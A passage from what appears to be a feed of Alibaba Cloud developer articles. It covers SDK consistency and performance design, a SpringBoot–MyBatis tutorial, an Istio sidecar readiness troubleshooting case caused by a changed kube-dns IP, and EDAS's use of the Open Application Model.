      播控 SDK 要和播控中心系统提供一致的服务,需要从两个方面保障:所用数据一致性和计 算过程一致性;
      1)数据一致性的保障。当前集团出于异地容灾等方面的考虑,采用多机房多单元方式部署; 接入播控 SDK 的业务方所在环境复杂,与播控系统本身所在环境是隔离的;SDK 所用的大部 分数据来自分布式缓存和本地缓存,业务方的环境差异给 SDK 的获取缓存数据带来麻烦;为了 确保不同环境下的数据一致性,SDK 采用如下的结构进行数据获取和数据更新:

      image.png

      针对不同环境下获取分布式缓存的数据,我们采用两种方式解决:
      a)同单元内使用跨机房访问的方式。如图 2 所示,业务方 B 的 SDK 使用跨机房访问的方式获取分布式缓存 A 的数据,对于可以接受跨机房访问延迟的业务方,很轻量级地解决了环境的差异;同时,SDK 访问的缓存数据和播控中心系统访问的缓存数据是同一份,所以数据是一 致的;
      b)播控系统额外部署业务方所在环境的缓存系统。如图 2 所示,业务方 C 所在的环境额 外部署了分布式缓存 C,SDK 从分布式缓存 C 中获取数据,避免了缓存访问的跨机房延迟;虽 然 SDK 访问的缓存和中心系统访问的缓存不是同一个,但是缓存数据的最终来源是同一个数据库,所以只要确保不同环境的缓存都是从同一个数据库的主库中获取的数据,缓存数据也是一 致的。
      针对 SDK 的本地缓存,主要存在缓存更新和数据实效性问题,我们采用两种方案确保本地缓存数据一致性:
      a)对于实效性很高的本地缓存数据,使用消息中间件-广播消费的方式将内存缓存失效的 消息通知到每一台机器,比如消息源 A 将消息广播到业务方 A 的每台机器上;当业务方所在环 境与播控的消息源所在环境隔离时,采用消息全球路由的方式(比如消息中转中心 B 和消息中转 中心 C), 将播控系统消息源的消息投递到其他环境;
      b)对于实效性不高的本地缓存数据,使用定时任务调用 RPC 接口定时刷新;
      2)计算过程一致性的保障。
      a)业务代码一致性。由于播控 SDK 和播控中心系统的功能大致相同,所以如果 SDK 和中 心系统业务逻辑冗余度高,会产生大量相似的代码,后期任何改动需要维护两份,会给未来埋 下很多隐患。经过评估后,我们决定将整个播控核心接口主流程进行重构,抽象出一公共的模 板二方包; 针对 SDK 和主系统不一样的地方,留出抽象方法,分别实现,达到最大复用功能模 块的目的。
      b)接口响应一致性。为了确保对任意一个请求,SDK 和中心系统的返回值一模一样,我们使用线上流量回放工具作为最后的质量验收标准。每次涉及到任何改动,我们都会使用回放工具录制线上的请求导入 SDK 中进行回放, 对比返回结果, 及时发现差异和异常。
      通过数据一致性和计算过程一致性的保障手段,播控 SDK 和中心系统的数据差异延迟控制 在毫秒内,能够提供一致的服务功能,满足不同业务方的不同业务诉求。

      2. 如何兼顾 SDK 的高性能和低消耗

      SDK 运行在业务方的机器上,很多时候业务方机器资源紧张,必须要在有限的资源内提升SDK 性能,降低计算资源消耗。SDK 性能优化集中在业务和技术层面,如下图所示:

      image.png

      1)日志优化。在高并发系统中,日志会成为系统的瓶颈;除了定制高性能的日志参数外,还要从打印日志的源头进行优化;比如进行日志压缩,只保留关键日志信息,减少日志中的字 符数量等;
      2)减少序列化和反序列化。序列化和反序列化是高CPU 消耗的操作,使用本地对象缓存 代替字符串缓存以及提升内存缓存命中率来减少 RPC 调用等手段,来减少序列化和反序列化;
      3)对象拷贝优化。基于 CGLIB 的字节码生成实现对象拷贝来代替反射,接近原生对象属 性赋值方法;
      4)业务代码逻辑优化。减少重复调用,减少对象创建以及提升接口批量处理能力等。 经过上述优化,播控 SDK 的 CPU 消耗和 Load 压力相比优化前降低了 60%以上;

      3. 有效的监控预警和稳定性保障方案

      1)监控预警
      在各个业务方机器上运行的 SDK 如果没有有效的预警体系,当问题发生时,就不能第一时 间发现。为了建立监控体系,我们做了以下工作:
      a)SDK 中做好业务日志埋点和日志采样;
      b)使用全链路工具标记 SDK 中的关键方法;
      c)SDK 定时收集缓存命中率、单机 QPS 以及接口成功率和 RT 等信息,并上报; 整个监控预警体系的建立如下图所示:

      image.png

      基于上述的监控信息,将分散在各个业务方机器上的日志统一收集到日志中心,并建立重 要指标的预警基线,确保能够第一时间发现问题。
      2)稳定性方案
      有了问题发现机制,必须要有问题解决机制;SDK 中为了应对不同程度的稳定性问题,提 供了不同程度的降级方案,如下图所示:

      image.png

      a)流量动态切换方案。当业务方机器能够承受的 SDK 流量上限超过阈值时,多余的流量 会动态分散到播控中心系统;这在实际中是很有效的,在一些单机 1000 QPS 甚至更高的场景下,确保 SDK 不会压垮业务方机器。极端情况下,所有流量都可以回切到播控中心系统。
      b)数据库不可用降级方案。当数据库出现故障时,及时与数据库切割开来,使用缓存的数据继续对外服务,防止出现更大面积的故障。
      c)黑名单降级方案。当分布式缓存出现故障时,使用黑名单降级方案,SDK 此时只控制 涉黄涉暴涉政等敏感视频不透出;接口 RT 和成功率仍然能确保正常。
      播控 SDK 建立的监控预警和稳定性保障体系,经历双 11 和多次实战考验,能够在分钟内 发现问题并解决问题。

      三、总结

      本节介绍了播控系统的近端调用能力,在系统流量不断上涨、机器资源有限的局面下,以 去中心化的方式来分散中心系统的压力,解决了系统稳定性问题。其中重点讲述了播控 SDK 的 三个核心技术挑战:“服务一致性”“资源利用率”和“稳定性保障”,以及解决这些问题的思路。 在这些解决方案中,很多部分触及到了高并发系统的共性问题,在一些公开场合的技术分享中, 诸如日志性能优化、缓存更新方式和减少序列化、反序列化等这些点都能引起大家的共鸣,也 期待这些经验能够帮助到他人。去中心化是当前软件系统的发展趋势,播控作为大型基础应用, 在去中心化的道路上做了一次重要的尝试,并且取得不错的进展。未来播控 SDK 会继续优化和 推广,作为播控中心系统能力的一种补充,继续发挥重要价值。

      ]]>
      SpringBoot中如何使用xml方式整合Mybatis? Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《SpringBoot实战教程》,主讲人杨红艳,点击查看视频内容

      SpringBoot整合Mybatis(xml方式)

      首先需要添加mybatis、MySQL、druid数据库连接池、分页、依赖:

      <!-- springboot整合mybatis -->
              <dependency>
                  <groupId>org.mybatis.spring.boot</groupId>
                  <artifactId>mybatis-spring-boot-starter</artifactId>
                  <version>1.3.1</version>
              </dependency>
      <!-- MySQL -->
              <dependency>
                  <groupId>mysql</groupId>
                  <artifactId>mysql-connector-java</artifactId>
              </dependency>
      <!-- alibaba的druid数据库连接池 -->
               <dependency>
                  <groupId>com.alibaba</groupId>
                  <artifactId>druid-spring-boot-starter</artifactId>
                  <version>1.1.0</version>
              </dependency>
              <dependency>
                  <groupId>com.alibaba</groupId>
                  <artifactId>druid</artifactId>
                  <version>1.0.11</version>
              </dependency>
      <!-- 分页插件 -->
              <dependency>
                  <groupId>com.github.pagehelper</groupId>
                  <artifactId>pagehelper-spring-boot-starter</artifactId>
                  <version>1.1.2</version>
              </dependency>
      <!-- @Param注解在该包中 -->
              <dependency>
                  <groupId>org.apache.ibatis</groupId>
                  <artifactId>ibatis-core</artifactId>
                  <version>3.0</version>
              </dependency>

      仍然使用db1的users表。
      创建Mybatis的配置文件mybatis-config.xml:

      <?xml version="1.0" encoding="UTF-8" ?>
      <!DOCTYPE configuration
              PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
              "http://mybatis.org/dtd/mybatis-3-config.dtd">
      <configuration>
          
      </configuration>

      创建全局配置文件:application.yml
      数据源配置、Mybatis配置、PageHelper分页插件的属性配置:

      spring:
          datasource:
              name: test
              url: jdbc:mysql://127.0.0.1:3306/db1
              username: root
              password: root
              type: com.alibaba.druid.pool.DruidDataSource
              driver-class-name: com.mysql.jdbc.Driver
              filters: stat
              maxActive: 20
              initialSize: 1
              maxWait: 60000
              minIdle: 1
              timeBetweenEvictionRunsMillis: 60000
              minEvictableIdleTimeMillis: 300000
              validationQuery: select 'x'
              testWhileIdle: true
              testOnBorrow: false
              testOnReturn: false
              poolPreparedStatements: true
              maxOpenPreparedStatements: 20
      
      mybatis:
        mapper-locations: 
        classpath:mapping/UsersMapper.xml
        #type-aliases-package: com.db1.pojo
        config-location: classpath:mybatis/mybatis-config.xml
      
      pagehelper:
         helperDialect: mysql
         reasonable: true
         supportMethodsArguments: true
         params: count=countSql

      逆向生成com.db1.pojo以及com.db1.mapper。相当于Dao层。

      image.png

      UsersService:

      public interface UsersService {
          
           //添加用户
          void addUser(Users user);
      
          //分页查找用户
          List<Users>findUsers(int page, int rows);
      }

      UsersServiceImpl:

      @Service
      public class UsersServiceImpl implements UsersService {
      
          @Autowired
          private UsersMapper userMapper;
          
          @Override
          public void addUser(Users user) {
               
              usersMapper.insert(user);
          }
      
          @Override
          public List<Users>findUsers(int page, int rows) {
              UsersExample example = new UsersExample();
              PageHelper.startPage(page, rows);
              List<Users> users = usersMapper.selectByExample(example);
              return users;
          }
      }

      UsersController:

      @Controller
      public class UsersController {
      
          @Autowired
          private UsersService usersService;
      
          @RequestMapping("/savaUser")
          @ResponseBody
          public String saveUsers() {
              Users user = new Users();
              user.setName("小红");
              user.setPassword("7777");
              user.setEmail("xiaohong@163.com");
              user.setBirthday(new Date());
      
              usersService.addUser(user);
              return "success";
          }
      
      
          @RequestMapping("/findUsers/{page}/{rows}")
          @ResponseBody
          public List<Users> findUsers(@PathVariable int page, @PathVariable int rows) {
              return usersService.findUsers(page, rows);
          }
      }

      在启动类中添加所有需要扫描的包,mapper需要单独扫描

      @SpringBootApplication(scanBasePackages="com.qianfeng")
      @MapperScan("com.db1.mapper")

      执行结果:

      image.png
      image.png
      image.png

      配套视频

      ]]>
      直播预告 | 从架构到代码,软件开发最新趋势解析 Fri, 02 May 2025 09:39:04 +0800 0601从架构到代码,软件开发最新趋势.png

      随着互联网的爆炸式发展,软件迭代速度愈发疯狂,而软件研发的技术、方法、工具也在快速发展。我们在脚踏实地“敲代码”的同时,也应该偶尔仰望星空,了解最新的软件开发趋势。因此,本期《云效说码》邀请到阿里巴巴美国团队资深技术专家陈立兵(雷卷),他将从领域驱动设计(DDD)、Reactive、Service Mesh 和代码智能等几个方面展开,从架构到代码,帮你快速洞悉新技术,拓宽技术视野。

      0601直播海报 - 主讲人简介900-500.png

      【分享简介】

      • 领域驱动设计(DDD)简述:架构设计是软件研发生命周期中非常关键的一步,而DDD又是架构设计里备受推崇的方法。本次分享主要介绍Why DDD、事件驱动、微服务之间如何通讯等内容。
      • 基于Reactive和RSocket的异步化通讯:微服务里很重要的一个问题就是要解决服务之间的异步化通讯,雷卷将告诉你如何基于Reactive和RSocket做异步化通讯。
      • Service Mesh 和Faas:现有的的架构如何异步化?本次分享将介绍Service Mesh和Faas 架构下,如何做异步化和消息事件驱动。
      • 代码智能:架构最终肯定是要落到代码里面去,异步化写代码的情况下,如何借助代码智能工具帮你提升效率,雷卷将介绍国内外一些好用的代码智能及IDE工具、以及他们的最新特性。

      如果你对本次分享感兴趣,敬请关注“2020阿里巴巴研发效能峰会”的“架构设计与代码智能专场”,届时雷卷及众多技术大咖将为大家带来更多精彩内容。6月12-13日,阿里巴巴研发效能峰会将在阿里云开发者社区线上直播。

      【收看方式】收看方式
      钉钉扫描二维码或搜索群号(34532418)观看视频直播。

      开发者俱乐部(组织)180.jpg


      【关于云效】

      云效,企业级一站式DevOps平台,源于阿里巴巴先进的研发理念和工程实践,致力于成为数字企业的研发效能引擎!云效提供从“需求 ->开发->测试->发布->运维->运营”端到端的在线协同服务和研发工具,通过人工智能、云原生技术的应用助力开发者提升研发效能,持续交付有效价值。

      【云效官网】https://www.aliyun.com/product/yunxiao?channel=zhibo
      【DevOps实验室】挑战实验室任务免费领取1280元套餐https://www.aliyun.com/product/yunxiao/devops
      【云效成长地图】https://www.aliyun.com/product/yunxiao/growthmap
      【公测指南】https://developer.aliyun.com/article/756207
      【申请公测】https://devops.aliyun.com
      【开发者社区】https://developer.aliyun.com/group/yunxiao
      【精彩活动】云效公测开启 「产品体验官」招募
      https://www.aliyun.com/activity/yunxiao/Beta2020----

      峰会长图-02.jpg

      ]]>
      Istio 从懵圈到熟练:二分之一活的微服务 Fri, 02 May 2025 09:39:04 +0800 1.png

      作者 | 声东  阿里云售后技术专家

      <关注阿里巴巴云原生公众号,回复 排查 即可下载电子书>

      《深入浅出 Kubernetes》一书共汇集 12 篇技术文章,帮助你一次搞懂 6 个核心原理,吃透基础理论,一次学会 6 个典型问题的华丽操作!

      Istio is the future!基本上,我相信对云原生技术趋势有些微判断的同学,都会有这个觉悟。其背后的逻辑其实是比较简单的:当容器集群,特别是 Kubernetes 成为事实上的标准之后,应用必然会不断的复杂化,服务治理肯定会成为强需求。

      Istio 的现状是,聊的人很多,用的人其实很少。所以导致我们能看到的文章,讲道理的很多,讲实际踩坑经验的极少。阿里云售后团队作为一线踩坑团队,分享问题排查经验,我们责无旁贷。这篇文章,我就跟大家聊一个简单 Istio 问题的排查过程,权当抛砖。

      二分之一活的微服务

      问题是这样的,用户在自己的测试集群里安装了 Istio,并依照官方文档部署 bookinfo 应用来上手 Istio。部署之后,用户执行 kubectl get pods 命令,发现所有的 Pod 都只有二分之一个容器是 READY 的。

      # kubectl get pods
      NAME READY STATUS RESTARTS AGE
      details-v1-68868454f5-94hzd 1/2 Running 0 1m
      productpage-v1-5cb458d74f-28nlz 1/2 Running 0 1m
      ratings-v1-76f4c9765f-gjjsc 1/2 Running 0 1m
      reviews-v1-56f6855586-dplsf 1/2 Running 0 1m
      reviews-v2-65c9df47f8-zdgbw 1/2 Running 0 1m
      reviews-v3-6cf47594fd-cvrtf 1/2 Running 0 1m

      如果从来都没有注意过 READY 这一列的话,我们大概会有两个疑惑:2 在这里是什么意思,以及 1/2 到底意味着什么。

      简单来讲,这里的 READY 列,给出的是每个 Pod 内部容器的 Readiness,即就绪状态。每个集群节点上的 kubelet 会根据容器本身 Readiness 规则的定义,分别是 tcp、http 或 exec 的方式,来确认对应容器的 Readiness 情况。

      更具体一点,kubelet 作为运行在每个节点上的进程,以 tcp/http 的方式(节点网络命名空间到 Pod 网络命名空间)访问容器定义的接口,或者在容器的 namespace 里执行 exec 定义的命令,来确定容器是否就绪。

      2.png

      这里的 2 说明这些 Pod 里都有两个容器,1/2 则表示,每个 Pod 里只有一个容器是就绪的,即通过 Readiness 测试的。关于 2 这一点,我们下一节会深入讲,这里我们先看一下,为什么所有的 Pod 里,都有一个容器没有就绪。

      使用 kubectl 工具拉取第一个 details pod 的编排模板,可以看到这个 Pod 里两个容器,只有一个定义了 readiness probe。对于未定义 readiness probe 的容器, kubelet 认为,只要容器里的进程开始运行,容器就进入就绪状态了。所以 1/2 个就绪 Pod,意味着,有定义 readiness probe 的容器,没有通过 kubelet 的测试。

      没有通过 readiness probe 测试的是 istio-proxy 这个容器。它的 readiness probe 规则定义如下:

      readinessProbe:
        failureThreshold: 30
        httpGet:
          path: /healthz/ready
          port: 15020
          scheme: HTTP
        initialDelaySeconds: 1
        periodSeconds: 2
        successThreshold: 1
        timeoutSeconds: 1

      我们登录这个 Pod 所在的节点,用 curl 工具来模拟 kubelet 访问下边的 uri,测试 istio-proxy 的就绪状态。

      # curl http://172.16.3.43:15020/healthz/ready -v
      * About to connect() to 172.16.3.43 port 15020 (#0)
      *   Trying 172.16.3.43...
      * Connected to 172.16.3.43 (172.16.3.43) port 15020 (#0)
      > GET /healthz/ready HTTP/1.1
      > User-Agent: curl/7.29.0
      > Host: 172.16.3.43:15020
      > Accept: */*> 
      < HTTP/1.1 503 Service Unavailable< Date: Fri, 30 Aug 2019 16:43:50 GMT
      < Content-Length: 0
      < * 
      Connection #0 to host 172.16.3.43 left intact

      绕不过去的大图

      上一节我们描述了问题现象,但是留下一个问题,就是 Pod 里的容器个数为什么是 2。虽然每个 Pod 本质上至少有两个容器:一个是占位符容器 pause,另一个是真正的工作容器,但是我们在使用 kubectl 命令获取 Pod 列表的时候,READY 列是不包括 pause 容器的。

      这里的另外一个容器,其实就是服务网格的核心概念 sidercar。其实把这个容器叫做 sidecar,某种意义上是不能反映这个容器的本质的。Sidecar 容器本质上是反向代理,它本来是一个 Pod 访问其他服务后端 Pod 的负载均衡。

      3.png

      然而,当我们为集群中的每一个 Pod,都“随身”携带一个反向代理的时候,Pod 和反向代理就变成了服务网格。正如下边这张经典大图所示。这张图实在有点难画,所以只能借用,绕不过去。

      4.png

      所以 sidecar 模式,其实是“自带通信员”模式。这里比较有趣的是,在我们把 sidecar 和 Pod 绑定在一块的时候,sidecar 在出流量转发时扮演着反向代理的角色,而在入流量接收的时候,可以做超过反向代理职责的一些事情。这点我们会在其他文章里讨论。

      Istio 在 Kubernetes 基础上实现了服务网格,Isito 使用的 sidecar 容器就是第一节提到的,没有就绪的容器。所以这个问题,其实就是服务网格内部,所有的 sidecar 容器都没有就绪。

      代理与代理的生命周期管理

      上一节我们看到,Istio 中的每个 Pod,都自带了反向代理 sidecar。我们遇到的问题是,所有的 sidecar 都没有就绪。我们也看到 readiness probe 定义的,判断 sidecar 容器就绪的方式就是访问下边这个接口:

      http://<pod ip>:15020/healthz/ready

      接下来,我们深入看下 Pod,以及其 sidecar 的组成及原理。在服务网格里,一个 Pod 内部除了本身处理业务的容器之外,还有 istio-proxy 这个 sidecar 容器。正常情况下,istio-proxy 会启动两个进程:pilot-agent 和 Envoy。

      如下图,Envoy 是实际上负责流量管理等功能的代理,从业务容器出、入的数据流,都必须要经过 Envoy;而 pilot-agent 负责维护 Envoy 的静态配置,以及管理 Envoy 的生命周期。这里的动态配置部分,我们在下一节会展开来讲。

      5.png

      我们可以使用下边的命令进入 Pod 的 istio-proxy 容器做进一步排查。这里的一个小技巧,是我们可以以用户 1337,使用特权模式进入 istio-proxy 容器,如此就可以使用 iptables 等只能在特权模式下运行的命令。

      docker exec -ti -u 1337 --privileged <istio-proxy container id> bash

      这里的 1337 用户,其实是 sidecar 镜像里定义的一个同名用户 istio-proxy,默认 sidecar 容器使用这个用户。如果我们在以上命令中,不使用用户选项 u,则特权模式实际上是赋予 root 用户的,所以我们在进入容器之后,需切换到 root 用户执行特权命令。

      进入容器之后,我们使用 netstat 命令查看监听,我们会发现,监听 readiness probe 端口 15020 的,其实是 pilot-agent 进程。

      istio-proxy@details-v1-68868454f5-94hzd:/$ netstat -lnpt
      Active Internet connections (only servers)
      Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
      tcp        0      0 0.0.0.0:15090           0.0.0.0:*               LISTEN      19/envoy
      tcp        0      0 127.0.0.1:15000         0.0.0.0:*               LISTEN      19/envoy
      tcp        0      0 0.0.0.0:9080            0.0.0.0:*               LISTEN      -
      tcp6       0      0 :::15020                :::*                    LISTEN      1/pilot-agent

      我们在istio-proxy内部访问readiness probe接口,一样会得到503的错误。

      就绪检查的实现

      了解了 sidecar 的代理,以及管理代理生命周期的 pilot-agent 进程,我们可以稍微思考一下 pilot-agent 应该怎么去实现 healthz/ready 这个接口。显然,如果这个接口返回 OK 的话,那不仅意味着 pilot-agent 是就绪的,而必须确保代理是工作的。

      实际上 pilot-agent 就绪检查接口的实现正是如此。这个接口在收到请求之后,会去调用代理 Envoy 的 server_info 接口。调用所使用的 IP 是 Localhost。这个非常好理解,因为这是同一个 Pod 内部进程通信。使用的端口是 Envoy 的 proxyAdminPort,即 15000。

      6.png

      有了以上的知识准备之后,我们来看下 istio-proxy 这个容器的日志。实际上,在容器日志里,一直在重复输出一个报错,这句报错分为两部分,其中 Envoy proxy is NOT ready 这部分是 pilot agent 在响应 healthz/ready 接口的时候输出的信息,即 Envoy 代理没有就绪;而剩下的 config not received from Pilot (is Pilot running?): cds updates: 0 successful, 0 rejected; lds updates: 0 successful, 0 rejected 这部分,是 pilot-agent 通过 proxyAdminPort 访问 server_info 的时候带回的信息,看起来是 Envoy 没有办法从 Pilot 获取配置。

      Envoy proxy is NOT ready: config not received from Pilot (is Pilot running?): cds updates: 0 successful, 0 rejected; lds updates: 0 successful, 0 rejected.

      到这里,建议大家回退看下上一节的插图,在上一节我们选择性的忽略是 Pilot 到 Envoy 这条虚线,即动态配置。这里的报错,实际上是 Envoy 从控制面 Pilot 获取动态配置失败。

      控制面和数据面

      目前为止,这个问题其实已经很清楚了。在进一步分析问题之前,我聊一下我对控制面和数据面的理解。控制面数据面模式,可以说无处不在。我们这里举两个极端的例子。

      第一个例子,是 DHCP 服务器。我们都知道,在局域网中的电脑,可以通过配置 DHCP 来获取 IP 地址,这个例子中,DHCP 服务器统一管理,动态分配 IP 地址给网络中的电脑,这里的 DHCP 服务器就是控制面,而每个动态获取 IP 的电脑就是数据面。

      第二个例子,是电影剧本,和电影的演出。剧本可以认为是控制面,而电影的演出,包括演员的每一句对白,电影场景布置等,都可以看做是数据面。

      我之所以认为这是两个极端,是因为在第一个例子中,控制面仅仅影响了电脑的一个属性,而第二个例子,控制面几乎是数据面的一个完整的抽象和拷贝,影响数据面的方方面面。Istio 服务网格的控制面是比较靠近第二个例子的情况,如下图:

      7.png

      Istio 的控制面 Pilot 使用 gRPC 协议对外暴露接口 istio-pilot.istio-system:15010,而 Envoy 无法从 Pilot 处获取动态配置的原因,是在所有的 Pod 中,集群 DNS 都无法使用。

      简单的原因

      这个问题的原因其实比较简单,在 sidecar 容器 istio-proxy 里,Envoy 不能访问 Pilot 的原因是集群 DNS 无法解析 istio-pilot.istio-system 这个服务名字。在容器里看到 resolv.conf 配置的 DNS 服务器是 172.19.0.10,这个是集群默认的 kube-dns 服务地址。

      istio-proxy@details-v1-68868454f5-94hzd:/$ cat /etc/resolv.conf
      nameserver 172.19.0.10
      search default.svc.cluster.local svc.cluster.local cluster.local localdomain

      但是客户删除重建了 kube-dns 服务,且没有指定服务 IP,这导致,实际上集群 DNS 的地址改变了,这也是为什么所有的 sidecar 都无法访问 Pilot。

      # kubectl get svc -n kube-system
      NAME                      TYPE           CLUSTER-IP      EXTERNAL-IP     PORT(S)                      AGE
      kube-dns                  ClusterIP      172.19.9.54     <none>          53/UDP,53/TCP                5d

      最后,通过修改 kube-dns 服务,指定 IP 地址,sidecar 恢复正常。

      # kubectl get pods
      NAME READY STATUS RESTARTS AGE
      details-v1-68868454f5-94hzd 2/2 Running 0 6d
      nginx-647d5bf6c5-gfvkm 2/2 Running 0 2d
      nginx-647d5bf6c5-wvfpd 2/2 Running 0 2d
      productpage-v1-5cb458d74f-28nlz 2/2 Running 0 6d
      ratings-v1-76f4c9765f-gjjsc 2/2 Running 0 6d
      reviews-v1-56f6855586-dplsf 2/2 Running 0 6d
      reviews-v2-65c9df47f8-zdgbw 2/2 Running 0 6d
      reviews-v3-6cf47594fd-cvrtf 2/2 Running 0 6d

      结论

      这其实是一个比较简单的问题,排查过程其实也就几分钟。但是写这篇文章,有点感觉是在看长安十二时辰,短短几分钟的排查过程,写完整背后的原理,前因后果,却花了几个小时。这是 Istio 文章的第一篇,希望在大家排查问题的时候,有所帮助。

      第 3 期云原生网络研讨会邀您参加

      5 月 28 日,阿里云技术专家将为大家带来《如何为云原生应用带来稳定高效的部署能力?》,届时将会介绍阿里经济体大规模应用上云过程中遇到的核心部署问题、采取的对应解决方案,以及这些方案沉淀为通用化能力输出开源后,如何帮助阿里云上的用户提升应用部署发布的效率与稳定性。

      听众可获取以下收益:

      • 了解阿里经济体大规模应用上云的实践经验,如何解决原生 K8s workload 不满足场景需求的问题;
      • 作为外部用户,如何体验和使用上阿里经济体上云所沉淀下来的应用部署发布能力;
      • 演示阿里巴巴针对大规模 K8s 集群如何做到 DaemonSet 高可用的灰度升级(即将开源!)

      点击链接即可预约直播:https://yq.aliyun.com/live/2898

      阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

      ]]>
      神结合!一招玩转K8s和微服务治理 Fri, 02 May 2025 09:39:04 +0800 发布会传送门

      进入直播间还有好礼等你拿!

      EDAS产品免费试用:https://www.aliyun.com/activity/middleware/edaspromotiononmay

      首届云原生编程挑战赛正式开战!立即报名瓜分330000现金奖:https://tianchi.aliyun.com/specials/promotion/cloudnative#problem-definition

      观看《云原生架构师培训课程》领取新用户折扣:https://yqh.aliyun.com/live/AlibabaCloudNative

      云原生的发展速度日新月异,要用好却绝非轻而易举,当开发者开始使用云原生或向云原生架构迁移时,往往会面临一些困境:

      • 第一,云原生对于软件产品存在约束,如必须满足容器化,12要素等,因此要让一个遗留系统适配云原生体系,不免会需要做一些改造,其中甚至会涉及到开发模式的转变,对部分团队而言,转变的过程可能充满挑战。
      • 第二,K8s复杂性足以让很多开发者望而却步,而只有对其有较好的掌握才能发挥好云原生带来的优势,否则可能导致系统难以维护,甚至因错误的配置引发故障。而让开发者的技术水平紧跟K8s的发展速度,这本身也需要持续投入,这些额外的投入也背离了让开发只关注业务的初衷。
      • 第三,虽然开源社区给云原生贡献了丰富的能力组件,但对于线上业务,尤其是企业级的服务来说,开源组件的性能,可靠性和可维护性能否经得住考验,以及运维团队是否有能力对这些开源组件兜底,这也是在技术选型前所必须做的考虑。

      总之,了解云原生和K8s只是开始,想要将云原生在业务落地,发挥云原生的价值,选择一条合理的“原生化”路径,才是开发者要关注的核心问题。

      阿里巴巴对于云原生的运用起步很早,对于在具有大规模,高可靠和分布式特征的系统上应用云原生技术有丰富经验。EDAS作为出品自阿里巴巴云原生团队,阿里云上aPaaS的旗舰产品,在早期也提供了容器和K8s的支持能力。近期随着EDAS 3.0版本的重磅发布,更是将云原生融入了EDAS的功能核心,致力于帮助业务进行云原生落地,立足云原生平台打造更强大的应用管理能力,释放技术红利,服务广大开发者。

      下文将通过一些示例,带领大家一窥究竟,看EDAS如何帮开发者“躺着”进入云原生时代,玩转云原生。

      “纯粹”的云原生

      无法否认,EDAS是阿里云平台上的商业化产品,而云原生主要由开源社区所倡导,两者显然出自泾渭分明的两个阵营,那“纯粹”是在掩耳盗铃?

      其实不然,商业化与开源并非水火不容,相反在很多领域他们总是相辅相成,这个话题并非本文关注的重点,若抛开“出身”的因素,我们理解的“纯粹”指的是:

      1. 在原生的体系下,对资源进行组合和抽象,抽象后的资源也不脱离原生体系
      2. 不侵入,不限制,不破坏已有云原生资源的使用约定

      得益于K8s的开放性,EDAS实现的原理并不复杂,用户只需要在K8s配置资源(应用),通过声明式的配置将其置于期望的状态上,EDAS就能感知变更,自动维护并调整状态,使其最终与用户期望一致,从而达到管控应用的目的,这一切并不需要修改K8s的版本,只需要安装EDAS提供的扩展即可。

      下面从两方面来具体介绍EDAS的做法和因之带来的优势。

      云原生应用定义

      前文提到,EDAS将应用抽象成了资源,这个过程中,应用定义的设计是至关重要的。在声明式的规则下,应用定义需要能覆盖软件生命周期过程中每个主体的配置,状态和关系的描述,并保证良好的可读性,因此,它必须归纳自大量应用,复杂场景和长久维护的经验总结,也只有这样才能保证定义不脱离实际,能被高效的推演到其他应用上。

      EDAS没有重复造轮子,选择了“开放应用模型(OAM)”这一开放标准来作为应用定义,并选择与之共建的方式来丰富标准的内容。可以说,EDAS是OAM在阿里云上的一个实现。

      对于开发者来说,EDAS使用OAM提供了两大好处:

      1. OAM消除了厂商平台对开发者的绑定,虽然不同平台能支持的运维特征以及底层实现方式各部相同,但只要厂商都遵循同样的标准,同一份应用配置是可以在不同的平台之间进行迁移的。因此对于EDAS上产生的应用,是可以被迁移到其他同样遵循OAM规范的平台的,针对其他平台迁移EDAS的场景也同理。
      2. OAM隐藏了特定的底层workload类型,通过更高的抽象层次避免了直接操作底层K8s的复杂性,提供了独立的ApplicationConfiguration资源,通过对Component(组件)配置Trait(运维特征)来施加不同的运维能力,Component和Trait的设计较好的分离了开发和运维团队的关注点,让应用生命周期中的配置和协作工作变得更为简单。

      由于ApplicationConfiguration也是K8s自定义资源(CR),所以开发者可以直接使用kubectl工具对其进行增删查改操作,EDAS遵循K8s面向终态的设计原则,最终将应用调整到预期的状态,对开发者来说操作应用与操作常规的Deployment资源并没有差异,也可以非常方便的与其他CI/CD工具或者GitOps工作流相集成。

      下面给出了一份EDAS的应用yaml示例片段,通过kubectl apply这样一份配置即可创建一个用指定Jar包部署的EDAS应用:

      apiVersion: core.oam.dev/v1alpha1
      kind: ApplicationConfiguration
      metadata:
      name: helloedas
      namespace: default
      spec:
      components:

      • componentName: stateless-component
        instanceName: group-1
        parameterValues:

        • name: packageVersion
          value: '{"buildPackageUrl":"http://demo.oss-cn-hangzhou-internal.aliyuncs.com/prod/demo/SPRING_CLOUD_PROVIDER.jar","showName":"2020-05-07

          20:20:18","type":"war","url":"http://demo.oss-cn-hangzhou-internal.aliyuncs.com/prod/demo/SPRING_CLOUD_PROVIDER.jar"}'
        • name: artifactFormat
          value: FatJar
        • name: softwareComponents
          value: '[{"componentId":"5","componentKey":"Open JDK 8","createTime":0,"desc":"Open

          JDK 8","downloadUrl":"http://edas-hz.oss-cn-hangzhou.aliyuncs.com/agent/prod/files/jdk-8u65-linux-x64.rpm","expired":false,"id":"5","imageId":"","md5":"1e587aca2514a612b10935813b1cef28","type":"JDK","version":"8"}]'
        • name: replicas
          value: "1"
        • name: showName
          value: helloedas
        • name: description
          value: ""

        traits:

        • name: rollout
          properties:

          • name: auto
            value: "true"
          • name: batches
            value: "1"
        • name: imagebuilder
          properties:

          • name: tag
            value: helloedas-1588854022
          • name: registry
            value: registry-vpc.ap-northeast-1.aliyuncs.com
          • name: baseImage
            value: registry-vpc.cn-hangzhou.aliyuncs.com/edas_unified/edas-openjdk:8-1.0
          • name: timeout
            value: "900"

      Deployment编辑

      EDAS通过OAM给用户提供了统一的应用模型,而对底层工作负载的管理主要是借助Deployment来完成。

      对于无状态应用的管理,Deployment的使用是相当普遍的,它的配置项也颇为丰富。对于习惯了使用Deployment来管理应用的开发者,常常会存在一些相对复杂的配置需求,这里会产生一个矛盾,当特定workload(这里是Deployment)的配置能力超过了OAM模型所定义的运维能力,如何在保留底层自定义配置同时还能维持OAM规范的简洁性和管控的有效性?

